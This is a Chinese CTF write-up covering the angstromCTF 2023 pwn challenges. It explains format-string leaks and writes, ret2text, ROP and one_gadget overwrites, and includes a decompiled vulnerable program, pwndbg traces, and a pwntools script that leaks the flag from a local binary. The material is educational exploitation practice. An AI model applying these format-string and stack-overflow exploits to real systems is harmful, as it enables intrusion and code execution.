-
-
[原创]angstromctf2023 - pwn
-
发表于: 2023-7-16 18:57 18309
-
因为某原因,最近要看看ctf。
angstromctf2023早在4月就结束了。今天打开一看,诶,还能访问。那就下载下来做一做。
另外,搜到了一个youtube视频专门讲这个比赛的wp,下面的记录,以及pwn环境(docker)很多参考了这个视频。毕竟菜。
I just learned about stacks and queues in DSA!
太久没做pwn题了,来看一眼。
调试的时候输入:AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
看一下打印结果:
栈里数一下:
验证一下:
Multipart challenge!
Note all use essentially the same Dockerfile. The flags are split among all three challenges. If you are already a pwn expert, the last challenge has the entire flag.
先看一眼Dockerfile,仍然需要flag.txt
根据打印提示,看看win0函数。如下,直接打印flag:
那就简单了,Canary啥的都关了,最简单的ret2text。就不调试了,根据IDA的注释,偏移等于0x40+0x8=0x48,先用这个写exp,有问题再说。
和gaga0基本一样,只不过在外面加了个if(a1 == 4919 || a2 == 16705)
。简单,直接把main的ret覆盖成if判断后的地址0x401269
:
exp修改如下:
然后执行后失败了,gdb调试,找到问题所在。如下图,前面覆盖ret的时候没关注rbp,直接覆盖成aaaaaaaa
。而在这里会用到rbp,非法地址导致crash:
解决办法就是将rbp覆盖成一个可读可写的地址。gdb调一下,在可读可写的地址里随便选一个,比如0x404100
最终的exp如下:
这次没有“后门函数”了,查看一下保护机制:
关了PIE,开了NX,不能ret2shellcode,那就rop吧。以前一直用ROPGadget
/one_gadget
这些工具,这次试试pwntools里的rop模块。要说的都在注释里了,看代码吧:
结果如下:
以前都是在虚拟机里做题,如果调试,直接gdb.attach(p)
就ok了。现在在docker里调试,步骤如下:
1、进入tmux
2、python脚本:context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
3、python脚本:gdb.attach(p)
4、执行python脚本
pwnlib.gdb.attach(target, gdbscript='', exe=None, gdb_args=None, ssh=None, sysroot=None, api=False)
计算栈中变量距离ret
可用两个API:cyclic(num)
和cyclic_find(string)
。
最终还是调了一下gaga0
:
可以看到main函数的返回地址被覆盖成了0x6161617461616173
,对应的字符是:saaataaa
。
打印结果看到是0x48
Dockerfile如下:
该程序运行在Ubuntu22环境中,同时又有flag.txt。
开启了Canary和NX,PIE是关闭的。
简单扫几眼main函数,最后调用win函数,点进去一看,功能是打印flag:)。所以大概就是让想办法使程序能走到最后。首先找前面有没有程序结束点,其他看注释吧。
看完代码,思路就清晰了:s和v9都指向堆块,两chunk连续,且v9在s上方(地址更低)。很明显,绕过if判断有两种方法:1)利用溢出修改chunk s,然后输入s2的时候溢出的内容;2)利用溢出泄露chunk s的内容,然后输入s2的时候输入泄露的内容。
if判断之后还有一次输入,这次输入能随意?不行,需要利用这次输入修复chunk s的size,不然执行到free的时候你就会发现,ptmalloc2会检查chunk的size:打印double free or corruption (out)
,并导致程序退出。注意循环100次。
I seem to have lost my gadgets.
关闭了Canary(栈溢出覆盖ret简单多了)和PIE(不用泄露地址了),开启了NX。
函数列表里又有win函数。
理一理思路:
1、利用栈溢出覆盖main函数的ret为win函数中开始读flag.txt
的地方。
2、看看读flag.txt的地方会不会使用到rbp,如下面的代码,是会的。
找个可读可写的地址:
这个过程中没有其他阻碍了,非常简单,格式化字符串漏洞也没用到。exp如下。
这道题用到了proof of work
,在上面 exp 的注释中记录了相应的接收发送代码。
还有另一种解法,第一次溢出的时候,利用格式化字符串漏洞泄漏libc地址,然后ret覆盖为printf("Amount: ");
的地址,绕过called
的限制;第二次溢出的时候,ret覆盖为rop链地址,拿到shell,最后cat flag.txt
。
这有个问题,libc地址怎么泄漏?栈里应该有libc的地址,那么利用格式化字符串漏洞可以泄漏出来。而且这个地址应该和libc基址的偏移应该是不变的。于是,通过gdb计算出这个偏移,然后泄漏出地址,再一算就能拿到libc基址了。
所以,偏移是0x7ff82fb37a37 - 0x7ff82fa23000
exp如下:
Join the ångstromCTF slack!
该题运行在Ubuntu22的环境中
这是模拟一个聊天软件?有一个机器人提醒你一些事情?有三次输入的机会。保护全开。
循环3次,每次都能触发同一个格式化字符串漏洞。
保护全开,这里也只有格式化字符串漏洞,那就只能想办法覆盖ret了。
1)覆写ret,那首先需要泄漏出栈里存放ret的地址
2)然后,覆盖为rop链的地址,那还需要泄漏出libc基址
所以总体思路:
1)泄漏栈和libc的地址
2)覆写ret为rop链的地址
首先,想要通过格式化字符串漏洞泄露栈上的内容,一般都会在输入时敲很多%p
,但是注意,这里的每次输入最多14Byte。所以为了方便查看结果,以及不用敲那么多次输入,用脚本:
执行两次,结果如下:
接着,用gdb确认一下这两个index是否是stack和libc的地址,并计算偏移:
ret_addr - some_stack_addr = 0x7ffc8fb1e328 - 0x7ffc8fb1c190
libc_base_addr - some_libc_addr = 0x7f35e31bf000 - 0x7f35e33df6a0
验证之后,毛有问题。
还有两次触发机会。接下来需要把一个rop链的地址写到main_ret_addr
里,也就是要把一个大数(8字节)写入到某个地址,那这需要一个字节一个字节写。还是那个问题,输入长度有限,不能一次性写长的payload,而现在触发printf的机会也只剩两次了。那可以修改局部变量i为一个负数来增加循环次数,从而增加触发printf的机会。
要覆写i为一个负数,首先来看一下i的地址:
那么泄露i的地址:
结果如下:
对于整型变量i来说,其内容为4个字节,
要将其值变成负数,最简单的方法就是把最高的一个字节变成0xff(256)。
很明显,输入空间不足以支撑。需要另想办法,如下图。
一步一步来,先来看看循环第二次时,call printf
时栈的情况:
因为上面stack命令的结果中,序号是从0开始的,所以,选择的第一个地址的偏移是 0x13+1+5=25,第二个地址的偏移是0x31+1+5=55:
为什么%25$hn
改变的是0x7ffe2770a8dd,而不是0x7ffe27708fa8?
因为%n
对应的参数是个地址,比如:printf("testtest %n\n", &c);
这里%n
对应的参数就是&c
,而上面的例子中,对应的参数就是0x7ffe27708fa8,改变的内容自然就是0x7ffe2770a8dd了。
对应脚本如下:
结果如下,确实变成了一个绝对值很大的负数:
同样因为输入长度限制的原因,覆写main_ret
的方法和覆写i的方法一样:
注意sa 和 sla 的问题,见注释。
My code had a couple of pesky format string vulnerabilities that kept getting exploited...I'm sure it'll fix itself if I just compile with RELRO and take away output...
题目说明很清楚,存在格式化字符串漏洞,但是使用 RELRO 进行编译并删除了输出。
注意做题环境,这道题的环境是debian@sha256:98......
,我一开始用ubuntu22做题,调试的时候执行到fprintf
过不去,会崩掉。
Dockerfile如下:
有源码,先看看源码。如下所示,两次输入,然后输出不再是给stdout,而是给了/dev/null
fprintf函数原型:
关闭Canary,RELRO是Full RELRO。
这道题没有输出,也就不能泄露地址了。利用思路参考上一题,不过区别是本题利用%*c
来修改栈里存储的某个指针的低4字节(为什么是4字节?见下面),使其指向存储main_ret
的地方。
星号在 printf 格式化字符串中的作用是用于指定动态宽度或精度。在输出字符串时,星号可以通过传递另一参数( int
类型)的方式动态定义输出的宽度或精度。测试格式化字符串中 *
的作用:
gdb调试,输入AAAAAAAA.%p.%p.%p.%p
。
和上一题一样,在栈里找一个存储了栈地址的地方,算出其偏移(fprintf格式化字符串参数之后的第几个参数)
偏移:
如果选[2]这个偏移,格式化字符串可以这样写:
在上面调试记录中,fprintf第三个参数vararg是0x7ffc6faf3460,所以%*c
对应的整型值是0x6faf3460。所以,发送payload后,会将地址0x7ffc6faf3588里的内容0x7ffc6faf4f0c改成0x7ffc6faf3460。
而我们的目的是将地址0x7ffc6faf3588里的内容改成存储main_ret
的地址,因此还需要计算0x7ffc6faf3460和addr(main_ret)
的偏移:
其实这里有个隐含要求,就是addr(main_ret)
需要大于vararg,因为我们只能在vararg低4Byte的基础上再加字符,好在题目里是满足的。
修改格式化字符串:
下面调试查看结果:
0x7ffe48560ed8对于fprintf函数来说,是格式化字符串参数后的第42个参数。
现在第42个参数已经改成了main_ret
的存放地址,那么接下来就是将其改成gadget的地址。
现在栈里找一个距离libc地址近的地址,第16个参数就可以:
再看看它和one_gadget
之间的偏移是多少:0xa4a91
这里选的是第三个gadget,因为main函数返回前将rsi和rdx清零了,满足第三个gadget的constraints:
输入下面的格式化字符串,先打印第16个参数低4字节(0x0b7e57cf)个字符,然后打印674449个参数,最后它两之和(也就是one_gadget
真实地址的低4字节)覆写第42个参数的低4字节,即将main_ret
(0x7fa20b7e5d0a)修改为one_gadget的地址,最终拿到shell。
回顾一下格式化占位符(format placeholder)的语法:
%[parameter][flags][field width][.precision][length]type
不是每次都能成功,调试过程中我发现有时候输入以后,它会把第13个参数改成一个不知道是什么的数字。这时候我会重新输入%*c%13$hn
,然后多试几次就ok。所以如果写成python脚本,也是用一个死循环来多试几次:
After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain!
智能合约,不会,正打算学这个。后面再补这题吧。
# 开启了canary
❯
make
checksec
docker run -it --
rm
-
v
"`pwd`:/chal"
ubuntu-demo checksec --
file
=queue
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 46) Symbols No 0 2 queue
# 开启了canary
❯
make
checksec
docker run -it --
rm
-
v
"`pwd`:/chal"
ubuntu-demo checksec --
file
=queue
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 46) Symbols No 0 2 queue
root@43fe6eff178b:
/chal
# ./queue
Error: missing flag.txt.
root@43fe6eff178b:
/chal
# echo "flag{aaaaaaaaaa}" >> flag.txt
root@43fe6eff178b:
/chal
# ./queue
What did you learn
in
class today? math
Oh
nice
, math
sounds pretty cool!root@43fe6eff178b:
/chal
#
root@43fe6eff178b:
/chal
# ./queue
Error: missing flag.txt.
root@43fe6eff178b:
/chal
# echo "flag{aaaaaaaaaa}" >> flag.txt
root@43fe6eff178b:
/chal
# ./queue
What did you learn
in
class today? math
Oh
nice
, math
sounds pretty cool!root@43fe6eff178b:
/chal
#
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t rgid;
//
[rsp+4h] [rbp-CCh]
FILE *stream;
//
[rsp+8h] [rbp-C8h]
char
format
[48];
//
[rsp+10h] [rbp-C0h] BYREF
char s[136];
//
[rsp+40h] [rbp-90h] BYREF
unsigned __int64 v9;
//
[rsp+C8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
stream = fopen(
"flag.txt"
,
"r"
);
//
打开flag.txt
if
( !stream )
{
puts(
"Error: missing flag.txt."
);
//
检查flag.txt是否存在
exit
(1);
}
fgets(s, 128, stream);
//
从flag.txt读取内容,存在s里
printf
(
"What did you learn in class today? "
);
fgets(
format
, 48, stdin);
//
从stdin读取内容,存在
format
里
printf
(
"Oh nice, "
);
printf
(
format
);
//
明显的格式化字符串漏洞
printf
(
"sounds pretty cool!"
);
return
v9 - __readfsqword(0x28u);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t rgid;
//
[rsp+4h] [rbp-CCh]
FILE *stream;
//
[rsp+8h] [rbp-C8h]
char
format
[48];
//
[rsp+10h] [rbp-C0h] BYREF
char s[136];
//
[rsp+40h] [rbp-90h] BYREF
unsigned __int64 v9;
//
[rsp+C8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
stream = fopen(
"flag.txt"
,
"r"
);
//
打开flag.txt
if
( !stream )
{
puts(
"Error: missing flag.txt."
);
//
检查flag.txt是否存在
exit
(1);
}
fgets(s, 128, stream);
//
从flag.txt读取内容,存在s里
printf
(
"What did you learn in class today? "
);
fgets(
format
, 48, stdin);
//
从stdin读取内容,存在
format
里
printf
(
"Oh nice, "
);
printf
(
format
);
//
明显的格式化字符串漏洞
printf
(
"sounds pretty cool!"
);
return
v9 - __readfsqword(0x28u);
}
pwndbg>
0x00005604ada7735b
in
main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────
*RAX 0x0
RBX 0x0
RCX 0x7f2d801efa37 (write+23) ◂—
cmp
rax, -0x1000 /*
'H='
*/
RDX 0x0
RDI 0x7fff78b48960 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
RSI 0x7fff78b46830 ◂—
'Oh nice, you learn in class today? '
R8 0x9
R9 0x5604aec8d490 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n'
R10 0x5604ada78054 ◂—
'Oh nice, '
R11 0x246
R12 0x7fff78b48b38 —▸ 0x7fff78b4a8dd ◂—
'/chal/queue'
R13 0x5604ada77249 (main) ◂— endbr64
R14 0x5604ada79d80 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5604ada77200 (__do_global_dtors_aux) ◂— endbr64
R15 0x7f2d80344040 (_rtld_global) —▸ 0x7f2d803452e0 —▸ 0x5604ada76000 ◂— 0x10102464c457f
RBP 0x7fff78b48a20 ◂— 0x1
RSP 0x7fff78b48950 ◂— 0x0
*RIP 0x5604ada7735b (main+274) ◂— call 0x5604ada77110
─────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 /
set
emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────
0x5604ada77342 <main+249> mov eax, 0
0x5604ada77347 <main+254> call
printf
@plt <
printf
@plt>
0x5604ada7734c <main+259> lea rax, [rbp - 0xc0]
0x5604ada77353 <main+266> mov rdi, rax
0x5604ada77356 <main+269> mov eax, 0
► 0x5604ada7735b <main+274> call
printf
@plt <
printf
@plt>
format
: 0x7fff78b48960 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
vararg: 0x7fff78b46830 ◂—
'Oh nice, you learn in class today? '
0x5604ada77360 <main+279> lea rax, [rip + 0xcf7]
0x5604ada77367 <main+286> mov rdi, rax
0x5604ada7736a <main+289> mov eax, 0
0x5604ada7736f <main+294> call
printf
@plt <
printf
@plt>
0x5604ada77374 <main+299> nop
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff78b48950 ◂— 0x0
01:0008│ 0x7fff78b48958 —▸ 0x5604aec8c2a0 ◂— 0xfbad2488
02:0010│ rdi 0x7fff78b48960 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
03:0018│ 0x7fff78b48968 ◂—
'.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
04:0020│ 0x7fff78b48970 ◂—
'p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
05:0028│ 0x7fff78b48978 ◂—
'%p.%p.%p.%p.%p.%p.%p.%p'
06:0030│ 0x7fff78b48980 ◂—
'.%p.%p.%p.%p.%p'
07:0038│ 0x7fff78b48988 ◂— 0x70252e70252e70 /*
'p.%p.%p'
*/
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x5604ada7735b main+274
1 0x7f2d80104d90 __libc_start_call_main+128
2 0x7f2d80104e40 __libc_start_main+128
3 0x5604ada77185 _start+37
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x
/20gx
$rsp
0x7fff78b48950: 0x0000000000000000 0x00005604aec8c2a0
0x7fff78b48960: 0x4141414141414141 0x252e70252e70252e
0x7fff78b48970: 0x2e70252e70252e70 0x70252e70252e7025
0x7fff78b48980: 0x252e70252e70252e 0x0070252e70252e70
0x7fff78b48990: 0x6161617b67616c66 0x000a7d6161616161
0x7fff78b489a0: 0x0000000000000000 0x0000000000000000
0x7fff78b489b0: 0x0000000000000000 0x0000000000000000
0x7fff78b489c0: 0x0000000000000000 0x0000000000000000
0x7fff78b489d0: 0x0000000000000000 0x0000000000000000
0x7fff78b489e0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
AAAAAAAA.0x7fff78b46830.(nil).0x7f2d801efa37.0x9.0x5604aec8d490.(nil).0x5604aec8c2a0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70sounds pretty cool![Inferior 1 (process 51) exited normally]
pwndbg>
0x00005604ada7735b
in
main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────
*RAX 0x0
RBX 0x0
RCX 0x7f2d801efa37 (write+23) ◂—
cmp
rax, -0x1000 /*
'H='
*/
RDX 0x0
RDI 0x7fff78b48960 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
RSI 0x7fff78b46830 ◂—
'Oh nice, you learn in class today? '
R8 0x9
R9 0x5604aec8d490 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n'
R10 0x5604ada78054 ◂—
'Oh nice, '
R11 0x246
R12 0x7fff78b48b38 —▸ 0x7fff78b4a8dd ◂—
'/chal/queue'
R13 0x5604ada77249 (main) ◂— endbr64
R14 0x5604ada79d80 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5604ada77200 (__do_global_dtors_aux) ◂— endbr64
R15 0x7f2d80344040 (_rtld_global) —▸ 0x7f2d803452e0 —▸ 0x5604ada76000 ◂— 0x10102464c457f
RBP 0x7fff78b48a20 ◂— 0x1
RSP 0x7fff78b48950 ◂— 0x0
*RIP 0x5604ada7735b (main+274) ◂— call 0x5604ada77110
─────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 /
set
emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────
0x5604ada77342 <main+249> mov eax, 0
0x5604ada77347 <main+254> call
printf
@plt <
printf
@plt>
0x5604ada7734c <main+259> lea rax, [rbp - 0xc0]
0x5604ada77353 <main+266> mov rdi, rax
0x5604ada77356 <main+269> mov eax, 0
► 0x5604ada7735b <main+274> call
printf
@plt <
printf
@plt>
format
: 0x7fff78b48960 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
vararg: 0x7fff78b46830 ◂—
'Oh nice, you learn in class today? '
0x5604ada77360 <main+279> lea rax, [rip + 0xcf7]
0x5604ada77367 <main+286> mov rdi, rax
0x5604ada7736a <main+289> mov eax, 0
0x5604ada7736f <main+294> call
printf
@plt <
printf
@plt>
0x5604ada77374 <main+299> nop
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff78b48950 ◂— 0x0
01:0008│ 0x7fff78b48958 —▸ 0x5604aec8c2a0 ◂— 0xfbad2488
02:0010│ rdi 0x7fff78b48960 ◂—
'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
03:0018│ 0x7fff78b48968 ◂—
'.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
04:0020│ 0x7fff78b48970 ◂—
'p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
05:0028│ 0x7fff78b48978 ◂—
'%p.%p.%p.%p.%p.%p.%p.%p'
06:0030│ 0x7fff78b48980 ◂—
'.%p.%p.%p.%p.%p'
07:0038│ 0x7fff78b48988 ◂— 0x70252e70252e70 /*
'p.%p.%p'
*/
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x5604ada7735b main+274
1 0x7f2d80104d90 __libc_start_call_main+128
2 0x7f2d80104e40 __libc_start_main+128
3 0x5604ada77185 _start+37
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x
/20gx
$rsp
0x7fff78b48950: 0x0000000000000000 0x00005604aec8c2a0
0x7fff78b48960: 0x4141414141414141 0x252e70252e70252e
0x7fff78b48970: 0x2e70252e70252e70 0x70252e70252e7025
0x7fff78b48980: 0x252e70252e70252e 0x0070252e70252e70
0x7fff78b48990: 0x6161617b67616c66 0x000a7d6161616161
0x7fff78b489a0: 0x0000000000000000 0x0000000000000000
0x7fff78b489b0: 0x0000000000000000 0x0000000000000000
0x7fff78b489c0: 0x0000000000000000 0x0000000000000000
0x7fff78b489d0: 0x0000000000000000 0x0000000000000000
0x7fff78b489e0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
AAAAAAAA.0x7fff78b46830.(nil).0x7f2d801efa37.0x9.0x5604aec8d490.(nil).0x5604aec8c2a0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70sounds pretty cool![Inferior 1 (process 51) exited normally]
rdi .rsi[1] .rdx[2].rcx[3] .r8[4].r9[5]
AAAAAAAA.0x7fff78b46830.(nil).0x7f2d801efa37.0x9.0x5604aec8d490.(nil).0x5604aec8c2a0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70
rdi .rsi[1] .rdx[2].rcx[3] .r8[4].r9[5]
AAAAAAAA.0x7fff78b46830.(nil).0x7f2d801efa37.0x9.0x5604aec8d490.(nil).0x5604aec8c2a0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70
pwndbg> x
/20gx
$rsp
0x7fff78b48950: 0x0000000000000000 0x00005604aec8c2a0 [6.7]
0x7fff78b48960: 0x4141414141414141 0x252e70252e70252e [8.9]
0x7fff78b48970: 0x2e70252e70252e70 0x70252e70252e7025 [10.11]
0x7fff78b48980: 0x252e70252e70252e 0x0070252e70252e70 [12.13]
0x7fff78b48990: 0x6161617b67616c66 0x000a7d6161616161 [14.15]
0x7fff78b489a0: 0x0000000000000000 0x0000000000000000
0x7fff78b489b0: 0x0000000000000000 0x0000000000000000
0x7fff78b489c0: 0x0000000000000000 0x0000000000000000
0x7fff78b489d0: 0x0000000000000000 0x0000000000000000
0x7fff78b489e0: 0x0000000000000000 0x0000000000000000
pwndbg> x
/20gx
$rsp
0x7fff78b48950: 0x0000000000000000 0x00005604aec8c2a0 [6.7]
0x7fff78b48960: 0x4141414141414141 0x252e70252e70252e [8.9]
0x7fff78b48970: 0x2e70252e70252e70 0x70252e70252e7025 [10.11]
0x7fff78b48980: 0x252e70252e70252e 0x0070252e70252e70 [12.13]
0x7fff78b48990: 0x6161617b67616c66 0x000a7d6161616161 [14.15]
0x7fff78b489a0: 0x0000000000000000 0x0000000000000000
0x7fff78b489b0: 0x0000000000000000 0x0000000000000000
0x7fff78b489c0: 0x0000000000000000 0x0000000000000000
0x7fff78b489d0: 0x0000000000000000 0x0000000000000000
0x7fff78b489e0: 0x0000000000000000 0x0000000000000000
root@43fe6eff178b:
/chal
# ./queue
What did you learn
in
class today? %15$p
Oh
nice
, 0xa7d6161616161
sounds pretty cool!root@43fe6eff178b:
/chal
#
root@43fe6eff178b:
/chal
# ./queue
What did you learn
in
class today? %15$p
Oh
nice
, 0xa7d6161616161
sounds pretty cool!root@43fe6eff178b:
/chal
#
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
flag
=
""
# 因为我写的flag是16字节,所以这里范围选择[14,16)。根据实际情况更改
for
i
in
range
(
14
,
16
):
p
=
process(
"./queue"
)
myformat
=
"%{j}$p"
.
format
(j
=
i)
logsucc(myformat)
sla(b
'today? '
, myformat.encode())
ru(b
'Oh nice, 0x'
)
data
=
ru(b
'\nsounds'
, drop
=
True
)
flag
+
=
bytes.fromhex(data.decode()).decode()[::
-
1
]
logsucc(flag)
p.close()
logsucc(flag)
from
pwn
import
*
import
warnings
warnings.filterwarnings(action
=
'ignore'
, category
=
BytesWarning)
s
=
lambda
data :p.send(data)
sa
=
lambda
delim,data :p.sendafter(delim, data)
sl
=
lambda
data :p.sendline(data)
sla
=
lambda
delim,data :p.sendlineafter(delim, data)
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
logsucc
=
lambda
info :log.success(info)
itr
=
lambda
:p.interactive()
context.log_level
=
'DEBUG'
#context.terminal=['tmux', 'spilit-window', '-h']
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-F'
'#{pane_pid}'
,
'-P'
]
flag
=
""
# 因为我写的flag是16字节,所以这里范围选择[14,16)。根据实际情况更改
for
i
in
range
(
14
,
16
):
p
=
process(
"./queue"
)
myformat
=
"%{j}$p"
.
format
(j
=
i)
logsucc(myformat)
sla(b
'today? '
, myformat.encode())
ru(b
'Oh nice, 0x'
)
data
=
ru(b
'\nsounds'
, drop
=
True
)
flag
+
=
bytes.fromhex(data.decode()).decode()[::
-
1
]
logsucc(flag)
p.close()
logsucc(flag)
root@9aea9b3d9446:
/chal
# python3 exp.py
[+] Starting
local
process
'./queue'
argv=[b
'./queue'
] : pid 87
[+] %14$p
[DEBUG] Received 0x23 bytes:
b
'What did you learn in class today? '
[DEBUG] Sent 0x6 bytes:
b
'%14$p\n'
[DEBUG] Received 0x2f bytes:
b
'Oh nice, 0x6161617b67616c66\n'
b
'sounds pretty cool!'
[+] flag{aaa
[*] Process
'./queue'
stopped with
exit
code 0 (pid 87)
[+] Starting
local
process
'./queue'
argv=[b
'./queue'
] : pid 89
[+] %15$p
[DEBUG] Received 0x23 bytes:
b
'What did you learn in class today? '
[DEBUG] Sent 0x6 bytes:
b
'%15$p\n'
[DEBUG] Received 0x2f bytes:
b
'Oh nice, 0x7d61616161616161\n'
b
'sounds pretty cool!'
[+] flag{aaaaaaaaaa}
[*] Process
'./queue'
stopped with
exit
code 0 (pid 89)
[+] flag{aaaaaaaaaa}
root@9aea9b3d9446:
/chal
# python3 exp.py
[+] Starting
local
process
'./queue'
argv=[b
'./queue'
] : pid 87
[+] %14$p
[DEBUG] Received 0x23 bytes:
b
'What did you learn in class today? '
[DEBUG] Sent 0x6 bytes:
b
'%14$p\n'
[DEBUG] Received 0x2f bytes:
b
'Oh nice, 0x6161617b67616c66\n'
b
'sounds pretty cool!'
[+] flag{aaa
[*] Process
'./queue'
stopped with
exit
code 0 (pid 87)
[+] Starting
local
process
'./queue'
argv=[b
'./queue'
] : pid 89
[+] %15$p
[DEBUG] Received 0x23 bytes:
b
'What did you learn in class today? '
[DEBUG] Sent 0x6 bytes:
b
'%15$p\n'
[DEBUG] Received 0x2f bytes:
b
'Oh nice, 0x7d61616161616161\n'
b
'sounds pretty cool!'
[+] flag{aaaaaaaaaa}
[*] Process
'./queue'
stopped with
exit
code 0 (pid 89)
[+] flag{aaaaaaaaaa}
root@870aeb6e392e:
/chal
# ls
Dockerfile Makefile gaga0 gaga1 gaga2
root@870aeb6e392e:
/chal
# echo "flag{aaaaaaaaaa}" >> flag.txt
root@870aeb6e392e:
/chal
# ./gaga0
Welcome to gaga!
This challenge is meant to guide you through an introduction to binary exploitation.
Right now, you are on stage0. Your goal is to redirect program control to win0,
which
is at address 0x401236.
Your input: aaa
root@870aeb6e392e:
/chal
# ./gaga1
Nice!
Now you need to call the win1
function
with the correct arguments.
Your input: aaa
root@870aeb6e392e:
/chal
# ./gaga2
Awesome! Now there's no system(), so what will you
do
?!
Your input: aaa
# Canary、PIE关了,NX开了
root@870aeb6e392e:
/chal
# checksec --file=gaga0
[*]
'/chal/gaga0'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@870aeb6e392e:
/chal
# ls
Dockerfile Makefile gaga0 gaga1 gaga2
root@870aeb6e392e:
/chal
# echo "flag{aaaaaaaaaa}" >> flag.txt
root@870aeb6e392e:
/chal
# ./gaga0
Welcome to gaga!
This challenge is meant to guide you through an introduction to binary exploitation.
Right now, you are on stage0. Your goal is to redirect program control to win0,
which
is at address 0x401236.
Your input: aaa
root@870aeb6e392e:
/chal
# ./gaga1
Nice!
Now you need to call the win1
function
with the correct arguments.
Your input: aaa
root@870aeb6e392e:
/chal
# ./gaga2
Awesome! Now there's no system(), so what will you
do
?!
